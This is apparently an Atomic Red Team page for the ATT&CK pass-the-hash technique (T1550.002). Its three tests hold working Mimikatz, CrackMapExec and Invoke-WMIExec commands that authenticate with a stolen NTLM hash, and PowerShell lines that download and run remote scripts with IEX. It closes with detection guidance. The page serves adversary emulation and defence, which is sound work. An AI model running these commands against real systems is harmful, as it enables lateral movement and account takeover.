T1550.002 - Pass the Hash#
Adversaries may “pass the hash” using stolen password hashes to move laterally within an environment, bypassing normal system access controls. Pass the hash (PtH) is a method of authenticating as a user without having access to the user’s cleartext password. This method bypasses standard authentication steps that require a cleartext password, moving directly into the portion of the authentication that uses the password hash.
When performing PtH, valid password hashes for the account being used are captured using a Credential Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems.
Adversaries may also use stolen password hashes to “overpass the hash.” Similar to PtH, this involves using a password hash to authenticate as a user but also uses the password hash to create a valid Kerberos ticket. This ticket can then be used to perform Pass the Ticket attacks.(Citation: Stealthbits Overpass-the-Hash)
Atomic Tests#
Atomic Test #1 - Mimikatz Pass the Hash#
Note: must dump hashes first Reference
Supported Platforms: windows
Dependencies: Run with powershell
!#
Description: Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})#
Check Prereq Commands:#
$mimikatz_path = cmd /c echo %tmp%\mimikatz\x64\mimikatz.exe
if (Test-Path $mimikatz_path) {exit 0} else {exit 1}
Get Prereq Commands:#
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (iwr "https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1" -UseBasicParsing)
$releases = "https://api.github.com/repos/gentilkiwi/mimikatz/releases"
$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(".zip") }
$mimikatz_exe = cmd /c echo %tmp%\mimikatz\x64\mimikatz.exe
$basePath = Split-Path $mimikatz_exe | Split-Path
Invoke-FetchFromZip $zipUrl "x64/mimikatz.exe" $basePath
Invoke-AtomicTest T1550.002 -TestNumbers 1 -GetPreReqs
Attack Commands: Run with command_prompt
#
%tmp%\mimikatz\x64\mimikatz.exe "sekurlsa::pth /user:Administrator /domain:%userdnsdomain% /ntlm:cc36cf7a8514893efccd3324464tkg1a"
Invoke-AtomicTest T1550.002 -TestNumbers 1
Atomic Test #2 - crackmapexec Pass the Hash#
command execute with crackmapexec
Supported Platforms: windows
Dependencies: Run with powershell
!#
Description: CrackMapExec executor must exist on disk at specified location (#{crackmapexec_exe})#
Check Prereq Commands:#
if(Test-Path C:\CrackMapExecWin\crackmapexec.exe) {exit 0} else {exit 1}
Get Prereq Commands:#
Write-Host Automated installer not implemented yet, please install crackmapexec manually at this location: C:\CrackMapExecWin\crackmapexec.exe
Invoke-AtomicTest T1550.002 -TestNumbers 2 -GetPreReqs
Attack Commands: Run with command_prompt
#
C:\CrackMapExecWin\crackmapexec.exe %userdnsdomain% -u Administrator -H cc36cf7a8514893efccd3324464tkg1a -x whoami
Invoke-AtomicTest T1550.002 -TestNumbers 2
Atomic Test #3 - Invoke-WMIExec Pass the HashUse Invoke-WMIExec to Pass the Hash#
Note: must dump hashes first
ReferenceSupported Platforms: windows#### Attack Commands: Run with powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/Kevin-Robertson/Invoke-TheHash/01ee90f934313acc7d09560902443c18694ed0eb/Invoke-WMIExec.ps1' -UseBasicParsing);Invoke-WMIExec -Target $env:COMPUTERNAME -Username Administrator -Hash cc36cf7a8514893efccd3324464tkg1a -Command hostname```
Invoke-AtomicTest T1550.002 -TestNumbers 3
Detection#
Audit all logon and credential use events and review for discrepancies. Unusual remote logins that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. NTLM LogonType 3 authentications that are not associated to a domain login and are not anonymous logins are suspicious.
Event ID 4768 and 4769 will also be generated on the Domain Controller when a user requests a new ticket granting ticket or service ticket. These events combined with the above activity may be indicative of an overpass the hash attempt.(Citation: Stealthbits Overpass-the-Hash)